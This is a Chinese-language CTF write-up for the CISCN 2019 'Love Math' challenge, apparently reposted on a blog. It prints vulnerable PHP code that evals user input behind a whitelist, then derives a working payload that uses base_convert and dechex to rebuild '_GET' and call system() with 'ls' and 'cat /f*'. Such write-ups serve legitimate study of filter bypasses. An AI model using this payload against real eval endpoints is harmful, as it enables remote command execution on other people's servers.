当前位置: 首页 > article >正文

[CISCN 2019初赛]Love Math 详细题解

知识点:

数学函数转换字符串
GET传参外部赋值
eval()函数解析执行命令
PHP动态调用函数名

源码:

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

代码审计:

看到最后的  eval('echo '.$content.';');  代码,可以通过eval()函数执行命令,那么目的就是命令执行得到flag

然后看代码的细节,接收一个get传入的参数c,并且参数c的长度不能超过80,还不能在黑名单

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 里面   不能含有空格 \t \r \n 单双引号 中括号[]

又给出了一个白名单,里面是很多的数学函数,然后进行正则匹配,得到的结果赋值给$used_funcs

$used_funcs[0] 包含了所有完整的匹配字符串,$used_funcs[0] 里面的所有数据都要在白名单中

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

正则表达式中  \x7f-\xff  匹配 ASCII 值从 127 到 255 的字符

所以作用是从 $content 中找出所有以字母或下划线或者ASCII 值从 127 到 255 的字符作为开头,后面跟随任意数量的字母、数字、下划线或ASCII 127-255的字符串序列,并将它们收集到 $used_funcs 数组中

目的是命令执行,但是前提是$used_funcs[0]数组中的每个数据必须在白名单中,而白名单中没有命令执行函数例如system,那么问题就是如何构造system函数和命令

在PHP中,可以使用变量来存储函数名,然后通过这个变量来调用相应的函数

例如在windows中,可以像下面这样调用system函数,用dir 输出目录信息

<?php  
$a='system';
$a('dir');

所以既然对参数c进行了很多限制,而且对长度也有要求,那么可以通过外部赋值绕开这些限制

外部赋值可以用$_GET[]接收外面的参数,所以格式可以是

?c=($_GET[a])($_GET[b])&a=system&b=ls

简单实践一下,利用下面的代码演示, 在windows中用dir来表示列出当前目录

<?php
error_reporting(0);
highlight_file(__FILE__);
$content = $_GET['c'];
echo $_GET['c']."\n";

eval($content.';');

可以看到这样执行命令是没有问题的,这里题目是PHP7的环境, $_GET[a]两边的()可以不加,但是在PHP5中不能有这对括号

格式有了,接下来就是考虑如何构造出来

_GET 以及 [] 都会被匹配,所以需要替换,$content长度不能超过80,所以选择白名单中最短的两个函数作为外部赋值的参数名,这里就用pi 和 pow

中括号[] 可以用 {} 来替代, _GET 用白名单中的数学函数转换得到

数学函数转换

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符,就可以通过构造字符串转换为GET传参格式
但是这里hex2bin()不在白名单中,还需要通过白名单中的函数构造出来

base_convert:  用于在不同的进制之间转换数字
base_convert(37907361743,10,36)  将十进制数 37907361743 转换为三十六进制,在三十六进制中,数字超过 9 后会使用字母 A-Z 表示 10 到 35
因此base_convert(37907361743,10,36) 表示的就是  "hex2bin"

这里的括号()和 逗号, 都不会进入匹配  37907361743 10 36 也不会,因为没有以字母或者_或者指定ASCII字符开头的字串
把_GET 字符串转换为16进制格式, 得到 hex2bin(5f474554)  转换完就是 _GET
但是5f 47 45 54会被匹配到,因为存在以字母开头的子字符串f474554

因此 5f 47 45 54可以用白名单中的dechex()函数将10进制数转换为16进制的数
dechex(1598506324)    1598506324转换为16进制就是 5f 47 45 54

经过一系列转换,得到

hex2bin(5f474554)   ->   base_convert(37907361743,10,36)(dechex(1598506324))

base_convert(37907361743,10,36)(dechex(1598506324)) 也就是_GET

接下来赋值传参即可

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls

参数c的值是后面的一大串,里面有分号;隔开,经过eval()函数也就是相当于解析执行两条命令,会先解析$pi的值, 也就是得到$pi=_GET

然后执行后面的($_GET[pi])($_GET[pow])&pi=system&pow=ls  最后输出整个的结果

根目录下发现flag文件 查看即可

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=cat /f*


http://www.kler.cn/a/407464.html

相关文章:

  • Centos Stream 9安装Jenkins-2.485 构建自动化项目步骤
  • 【SKFramework框架核心模块】3-2、音频管理模块
  • 第10章 JavaScript的应用作业
  • 数据集-目标检测系列- 昙花(昙花一现) 检测数据集 epiphyllum >> DataBall
  • 机器学习周志华学习笔记-第6章<支持向量机>
  • MongoDB主备副本集方案:两台服务器使用非对称部署的方式实现高可用与容灾备份
  • 第十六届蓝桥杯模拟赛第二期题解—Java
  • 自动化报表怎么写
  • python特殊字符序列
  • go-zero(九) 自定义拦截器
  • Rust中的静态派发与动态派发
  • 数据结构--跳表
  • Spark 中的 Shuffle 是分布式数据交换的核心流程,从源码角度分析 Shuffle 的执行路径
  • Microsoft SEAL中dwthandler.h解析
  • OpenCV相机标定与3D重建(3)校正鱼眼镜头畸变的函数calibrate()的使用
  • 【Python · PyTorch】循环神经网络 RNN(基础概念)
  • Rust 力扣 - 198. 打家劫舍
  • 【汽车制动】汽车制动相关控制系统
  • UE5材质篇5 简易水面
  • 11-23刷题记录